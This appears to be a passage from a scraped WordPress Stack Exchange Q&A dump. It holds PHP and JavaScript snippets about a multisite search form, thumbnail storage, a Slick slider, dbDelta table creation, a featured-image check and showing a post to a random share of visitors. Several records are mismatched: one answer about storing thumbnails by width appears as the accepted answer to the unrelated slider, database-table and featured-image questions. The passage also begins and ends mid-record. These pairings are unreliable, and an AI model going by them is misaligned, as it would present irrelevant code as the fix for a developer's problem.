$blogs = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->blogs WHERE spam = '0' AND deleted = '0' and archived = '0' and public='1'"));
if(!empty($blogs)){
?><?php
foreach($blogs as $blog){
$details = get_blog_details($blog->blog_id);
if($details != false){
$addr = $details->siteurl;
$name = $details->blogname;
if(!(($blog->blog_id == 1)&&($show_main != 1))){
?>
<option value="<?php echo $addr; ?>?s="><?php echo $name;?></option>
<?php
}
}
}
?><?php } ?>
</select>
<input name="Search" type="submit" value="Search" class="button3">
</form>
</div><!--search-->
```
**Javascript for the search form**
```
function dosearch() {
var sf=document.searchform;
var submitto = sf.sengines.options[sf.sengines.selectedIndex].value + escape(sf.searchterms.value);
window.location.href = submitto;
return false;
}
function validateSearch(){
// set some vars
var terms = document.getElementById('terms');
var state = document.getElementById('state');
var msg = '';
if(terms.value == ''){
msg+= 'We were unable to search without a keyword! \n';
}
else if(terms.value.length < 3){
msg+= 'Keyword is too short! \n';
}
else if(terms.value.length > 25){
msg+= 'Keyword is too long! \n';
}
else if(state.value == ''){
msg+= 'Select state to proceed! \n';
}
// SUbmit form part
if(msg == ''){
return true;
}else{
alert(msg);
return false;
}
}
```
[](https://i.stack.imgur.com/ObR4E.jpg) | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,335 | <p>I am trying to add a photo slider from Slick and I can't seem to get it to work. </p>
<p>HTML</p>
<pre><code><div class="victoria-slider">
<div>Content1</div>
<div>Content2</div>
<div>Content3</div>
</div>
</code></pre>
<p>functions.php</p>
<pre><code>function victoria_theme_script_enqueue() {
wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/victoria_theme.css', array(), '4.7.2', 'all');
wp_enqueue_style('bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '3.3.7', 'all');
wp_enqueue_style('slick', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.css');
wp_enqueue_style('slick-theme','http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick-theme.css');
wp_enqueue_script('jquery', get_template_directory_uri() .'/js/jquery.min.js', array(), '3.1.0', true);
wp_enqueue_script('customjs', get_template_directory_uri() . '/js/victoria_theme.js', array(), '4.7.2', true);
wp_enqueue_script('bootstrapjs', get_template_directory_uri() . '/js/bootstrap.min.js', array(), '3.3.7', true);
wp_enqueue_script('slickjs', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js');
}
add_action(wp_enqueue_scripts, 'victoria_theme_script_enqueue');
</code></pre>
<p>JS</p>
<pre><code>jQuery(document).ready(function($) {
jQuery(".victoria-slider").slick({
dots: true,
infinite: true,
speed: 500,
fade: true,
cssEase: 'linear',
slidesToShow: 3,
slidesToScroll: 3
});
});
</code></pre>
<p>I have tried using the files and links to get it working still no sign at all. Nothing is happening at all. I just don't know what else to do. It's for every slider I tried to add to my theme. </p>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs/, OUTSIDE the upload directory, in the root.</p>\n</blockquote>\n\n<p>Following your second scenario since you're already halfway through it.\nYou can use the following :</p>\n\n<pre><code> add_filter( 'wp_get_attachment_image_src', function ( $image, $attachment_id, $size ) {\n\n // Make sure $image is not false.\n if ( $image ) {\n switch ( $size ) {\n // Add your custom sizes as cases here.\n case 'thumbnail':\n case 'medium':\n case 'large':\n case 'mysize':\n /*\n * This will simply convert the link from\n http://example.com/uploads/thumbs/medium/image.jpg\n to\n http://example.com/thumbs/medium/image.jpg\n only for thumbnails not for original images.\n */\n $image[0] = str_replace( '/uploads/', '/', $image[0] );\n break;\n default:\n break;\n }\n }\n\n return $image;\n }, 10, 3 );\n</code></pre>\n\n<p>I hope that helps you.</p>\n"
},
{
"answer_id": 269260,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 3,
"selected": true,
"text": "<p>It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.</p>\n\n<p>There are hacks to filter the output for functions such as <code>the_post_thumbnail_url()</code>, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.</p>\n\n<p>What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the <code>.htaccess</code> file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.</p>\n\n<p>I was able to make a copy of the original generator class in <code>wp-image-editor-gd.php</code> to store the thumbnails in subdirectory. Here is how to do so:</p>\n\n<p>First, we set our own class as the primary image generator:</p>\n\n<pre><code>add_filter('wp_image_editors', 'custom_wp_image_editors');\nfunction custom_wp_image_editors($editors) {\n array_unshift($editors, \"custom_WP_Image_Editor\");\n return $editors;\n}\n</code></pre>\n\n<p>We then include the necessary classes to be extended:</p>\n\n<pre><code>require_once ABSPATH . WPINC . \"/class-wp-image-editor.php\";\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor-gd.php\";\n</code></pre>\n\n<p>And finally setting the path:</p>\n\n<pre><code>class custom_WP_Image_Editor extends WP_Image_Editor_GD {\n public function generate_filename($suffix = null, $dest_path = null, $extension = null) {\n // $suffix will be appended to the destination filename, just before the extension\n if (!$suffix) {\n $suffix = $this->get_suffix();\n }\n $dir = pathinfo($this->file, PATHINFO_DIRNAME);\n $ext = pathinfo($this->file, PATHINFO_EXTENSION);\n $name = wp_basename($this->file, \".$ext\");\n $new_ext = strtolower($extension ? $extension : $ext );\n if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {\n $dir = $_dest_path;\n }\n //we get the dimensions using explode\n $size_from_suffix = explode(\"x\", $suffix);\n return trailingslashit( $dir ) . \"{$size_from_suffix[0]}/{$name}.{$new_ext}\";\n }\n}\n</code></pre>\n\n<p>Now the thumbnails will be stored in different sub-folders, based on their width. For example:</p>\n\n<pre><code>/wp-content/uploads/150/example.jpg\n/wp-content/uploads/600/example.jpg\n/wp-content/uploads/1024/example.jpg\n</code></pre>\n\n<p>And so on.</p>\n\n<h2>Possible issue</h2>\n\n<p>Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized <code>100x100</code>pixels while the smallest thumbnail size is <code>150x150</code>, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in <a href=\"https://wordpress.stackexchange.com/q/266968/94498\">this</a> question.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255335",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101377/"
]
| I am trying to add a photo slider from Slick and I can't seem to get it to work.
HTML
```
<div class="victoria-slider">
<div>Content1</div>
<div>Content2</div>
<div>Content3</div>
</div>
```
functions.php
```
function victoria_theme_script_enqueue() {
wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/victoria_theme.css', array(), '4.7.2', 'all');
wp_enqueue_style('bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '3.3.7', 'all');
wp_enqueue_style('slick', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.css');
wp_enqueue_style('slick-theme','http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick-theme.css');
wp_enqueue_script('jquery', get_template_directory_uri() .'/js/jquery.min.js', array(), '3.1.0', true);
wp_enqueue_script('customjs', get_template_directory_uri() . '/js/victoria_theme.js', array(), '4.7.2', true);
wp_enqueue_script('bootstrapjs', get_template_directory_uri() . '/js/bootstrap.min.js', array(), '3.3.7', true);
wp_enqueue_script('slickjs', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js');
}
add_action(wp_enqueue_scripts, 'victoria_theme_script_enqueue');
```
JS
```
jQuery(document).ready(function($) {
jQuery(".victoria-slider").slick({
dots: true,
infinite: true,
speed: 500,
fade: true,
cssEase: 'linear',
slidesToShow: 3,
slidesToScroll: 3
});
});
```
I have tried using the files and links to get it working still no sign at all. Nothing is happening at all. I just don't know what else to do. It's for every slider I tried to add to my theme. | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,352 | <p>I'm trying to create a new database table when my plugin is activated using dbDelta() however, no new table seems to be creating. Since I'm new to WordPress development, please let me know where I'm going wrong.</p>
<pre><code><?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic WordPress Plugin Header Comment
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
?>
</code></pre>
<p>This is the installer.php file:</p>
<pre><code><?php
global $wpdb;
$table_name = $wpdb->prefix . "xenonresult";
$charset_collate = $wpdb->get_charset_collate();
if(!isset($table_name)){
$sql = "CREATE TABLE $table_name (
id mediumint(9) NOT NULL AUTO_INCREMENT
student-id mediumint(9) NOT NULL,
student-name text NOT NULL,
marks-obtained int(9) NOT NULL,
result text NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
?>
</code></pre>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs/, OUTSIDE the upload directory, in the root.</p>\n</blockquote>\n\n<p>Following your second scenario since you're already halfway through it.\nYou can use the following :</p>\n\n<pre><code> add_filter( 'wp_get_attachment_image_src', function ( $image, $attachment_id, $size ) {\n\n // Make sure $image is not false.\n if ( $image ) {\n switch ( $size ) {\n // Add your custom sizes as cases here.\n case 'thumbnail':\n case 'medium':\n case 'large':\n case 'mysize':\n /*\n * This will simply convert the link from\n http://example.com/uploads/thumbs/medium/image.jpg\n to\n http://example.com/thumbs/medium/image.jpg\n only for thumbnails not for original images.\n */\n $image[0] = str_replace( '/uploads/', '/', $image[0] );\n break;\n default:\n break;\n }\n }\n\n return $image;\n }, 10, 3 );\n</code></pre>\n\n<p>I hope that helps you.</p>\n"
},
{
"answer_id": 269260,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 3,
"selected": true,
"text": "<p>It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.</p>\n\n<p>There are hacks to filter the output for functions such as <code>the_post_thumbnail_url()</code>, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.</p>\n\n<p>What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the <code>.htaccess</code> file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.</p>\n\n<p>I was able to make a copy of the original generator class in <code>wp-image-editor-gd.php</code> to store the thumbnails in subdirectory. Here is how to do so:</p>\n\n<p>First, we set our own class as the primary image generator:</p>\n\n<pre><code>add_filter('wp_image_editors', 'custom_wp_image_editors');\nfunction custom_wp_image_editors($editors) {\n array_unshift($editors, \"custom_WP_Image_Editor\");\n return $editors;\n}\n</code></pre>\n\n<p>We then include the necessary classes to be extended:</p>\n\n<pre><code>require_once ABSPATH . WPINC . \"/class-wp-image-editor.php\";\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor-gd.php\";\n</code></pre>\n\n<p>And finally setting the path:</p>\n\n<pre><code>class custom_WP_Image_Editor extends WP_Image_Editor_GD {\n public function generate_filename($suffix = null, $dest_path = null, $extension = null) {\n // $suffix will be appended to the destination filename, just before the extension\n if (!$suffix) {\n $suffix = $this->get_suffix();\n }\n $dir = pathinfo($this->file, PATHINFO_DIRNAME);\n $ext = pathinfo($this->file, PATHINFO_EXTENSION);\n $name = wp_basename($this->file, \".$ext\");\n $new_ext = strtolower($extension ? $extension : $ext );\n if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {\n $dir = $_dest_path;\n }\n //we get the dimensions using explode\n $size_from_suffix = explode(\"x\", $suffix);\n return trailingslashit( $dir ) . \"{$size_from_suffix[0]}/{$name}.{$new_ext}\";\n }\n}\n</code></pre>\n\n<p>Now the thumbnails will be stored in different sub-folders, based on their width. For example:</p>\n\n<pre><code>/wp-content/uploads/150/example.jpg\n/wp-content/uploads/600/example.jpg\n/wp-content/uploads/1024/example.jpg\n</code></pre>\n\n<p>And so on.</p>\n\n<h2>Possible issue</h2>\n\n<p>Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized <code>100x100</code>pixels while the smallest thumbnail size is <code>150x150</code>, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in <a href=\"https://wordpress.stackexchange.com/q/266968/94498\">this</a> question.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255352",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
]
| I'm trying to create a new database table when my plugin is activated using dbDelta() however, no new table seems to be creating. Since I'm new to WordPress development, please let me know where I'm going wrong.
```
<?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic WordPress Plugin Header Comment
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
?>
```
This is the installer.php file:
```
<?php
global $wpdb;
$table_name = $wpdb->prefix . "xenonresult";
$charset_collate = $wpdb->get_charset_collate();
if(!isset($table_name)){
$sql = "CREATE TABLE $table_name (
id mediumint(9) NOT NULL AUTO_INCREMENT
student-id mediumint(9) NOT NULL,
student-name text NOT NULL,
marks-obtained int(9) NOT NULL,
result text NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
?>
``` | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,372 | <p>I'm trying to make a conditional if the current author has uploaded a featured image in a custom post, but it ain't workin' ...</p>
<pre><code><?php if (
1 == count_user_posts( get_current_user_id(), "CUSTPOSTTYPE" )
&& is_user_logged_in()
&& has_post_thumbnail()
) { ?>
</code></pre>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs/, OUTSIDE the upload directory, in the root.</p>\n</blockquote>\n\n<p>Following your second scenario since you're already halfway through it.\nYou can use the following :</p>\n\n<pre><code> add_filter( 'wp_get_attachment_image_src', function ( $image, $attachment_id, $size ) {\n\n // Make sure $image is not false.\n if ( $image ) {\n switch ( $size ) {\n // Add your custom sizes as cases here.\n case 'thumbnail':\n case 'medium':\n case 'large':\n case 'mysize':\n /*\n * This will simply convert the link from\n http://example.com/uploads/thumbs/medium/image.jpg\n to\n http://example.com/thumbs/medium/image.jpg\n only for thumbnails not for original images.\n */\n $image[0] = str_replace( '/uploads/', '/', $image[0] );\n break;\n default:\n break;\n }\n }\n\n return $image;\n }, 10, 3 );\n</code></pre>\n\n<p>I hope that helps you.</p>\n"
},
{
"answer_id": 269260,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 3,
"selected": true,
"text": "<p>It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.</p>\n\n<p>There are hacks to filter the output for functions such as <code>the_post_thumbnail_url()</code>, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.</p>\n\n<p>What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the <code>.htaccess</code> file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.</p>\n\n<p>I was able to make a copy of the original generator class in <code>wp-image-editor-gd.php</code> to store the thumbnails in subdirectory. Here is how to do so:</p>\n\n<p>First, we set our own class as the primary image generator:</p>\n\n<pre><code>add_filter('wp_image_editors', 'custom_wp_image_editors');\nfunction custom_wp_image_editors($editors) {\n array_unshift($editors, \"custom_WP_Image_Editor\");\n return $editors;\n}\n</code></pre>\n\n<p>We then include the necessary classes to be extended:</p>\n\n<pre><code>require_once ABSPATH . WPINC . \"/class-wp-image-editor.php\";\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor-gd.php\";\n</code></pre>\n\n<p>And finally setting the path:</p>\n\n<pre><code>class custom_WP_Image_Editor extends WP_Image_Editor_GD {\n public function generate_filename($suffix = null, $dest_path = null, $extension = null) {\n // $suffix will be appended to the destination filename, just before the extension\n if (!$suffix) {\n $suffix = $this->get_suffix();\n }\n $dir = pathinfo($this->file, PATHINFO_DIRNAME);\n $ext = pathinfo($this->file, PATHINFO_EXTENSION);\n $name = wp_basename($this->file, \".$ext\");\n $new_ext = strtolower($extension ? $extension : $ext );\n if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {\n $dir = $_dest_path;\n }\n //we get the dimensions using explode\n $size_from_suffix = explode(\"x\", $suffix);\n return trailingslashit( $dir ) . \"{$size_from_suffix[0]}/{$name}.{$new_ext}\";\n }\n}\n</code></pre>\n\n<p>Now the thumbnails will be stored in different sub-folders, based on their width. For example:</p>\n\n<pre><code>/wp-content/uploads/150/example.jpg\n/wp-content/uploads/600/example.jpg\n/wp-content/uploads/1024/example.jpg\n</code></pre>\n\n<p>And so on.</p>\n\n<h2>Possible issue</h2>\n\n<p>Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized <code>100x100</code>pixels while the smallest thumbnail size is <code>150x150</code>, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in <a href=\"https://wordpress.stackexchange.com/q/266968/94498\">this</a> question.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255372",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37346/"
]
| I'm trying to make a conditional if the current author has uploaded a featured image in a custom post, but it ain't workin' ...
```
<?php if (
1 == count_user_posts( get_current_user_id(), "CUSTPOSTTYPE" )
&& is_user_logged_in()
&& has_post_thumbnail()
) { ?>
``` | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,373 | <p>I would like to show certain Wordpress Post to one in 10 people. I am guessing it would be a JS solution which simply hides to post using a random number generator.</p>
<p>Has anyone ever face a similar scenario and care to show how they solved it?</p>
| [
{
"answer_id": 255388,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 1,
"selected": false,
"text": "<p>Assuming that you already have specific post IDs that you want to show randomly (1 per 10), you can use:</p>\n\n<pre><code>while ( have_posts() ) : the_post(); \n if($post->ID==100 OR $post->ID==101){\n if (rand(1,10)==5) {the_content();}\n else\n the_content();}\nendwhile;\n</code></pre>\n\n<p>Note that this code doesn't count the visitors and display the post each time a 10th visitor accesses the page. For that, you will need to create a variable and store the counter value inside the database. However this will serve almost like the way you wanted.</p>\n"
},
{
"answer_id": 255401,
"author": "James",
"author_id": 71177,
"author_profile": "https://wordpress.stackexchange.com/users/71177",
"pm_score": 2,
"selected": false,
"text": "<pre><code> function lsmwp_post_limter($ids, $in, $count) {\n $i = rand(1,$count);\n if ($i <= $in) {\n return($ids);\n }\n else\n return false;\n }\n\n function lsmWpfilter($posts){\n $result = [];\n foreach($posts as $post){\n $res = lsmwp_post_limter($post['postId'], $post['in'], $post['count']);\n if ($res){\n\n $result[] = $res;\n }\n }\n print_r($result);\n return $result;\n }\n\n $exluded_posts = array(\n array('postId' => 28741 , 'in' => 2, 'count' => 3),\n array('postId' => 29811 , 'in' => 2, 'count' => 3),\n array('postId' => 31951 , 'in' => 1, 'count' => 3)\n );\n\n\n $custom_args = array(\n 'post__not_in' => lsmWpfilter($exluded_posts),\n );\n</code></pre>\n\n<p>This method allows me to use different in/count for each excluded posts, not limiting it to 1/5 and also making use of funcitons</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255373",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/71177/"
]
| I would like to show certain Wordpress Post to one in 10 people. I am guessing it would be a JS solution which simply hides to post using a random number generator.
Has anyone ever face a similar scenario and care to show how they solved it? | ```
function lsmwp_post_limter($ids, $in, $count) {
$i = rand(1,$count);
if ($i <= $in) {
return($ids);
}
else
return false;
}
function lsmWpfilter($posts){
$result = [];
foreach($posts as $post){
$res = lsmwp_post_limter($post['postId'], $post['in'], $post['count']);
if ($res){
$result[] = $res;
}
}
print_r($result);
return $result;
}
$exluded_posts = array(
array('postId' => 28741 , 'in' => 2, 'count' => 3),
array('postId' => 29811 , 'in' => 2, 'count' => 3),
array('postId' => 31951 , 'in' => 1, 'count' => 3)
);
$custom_args = array(
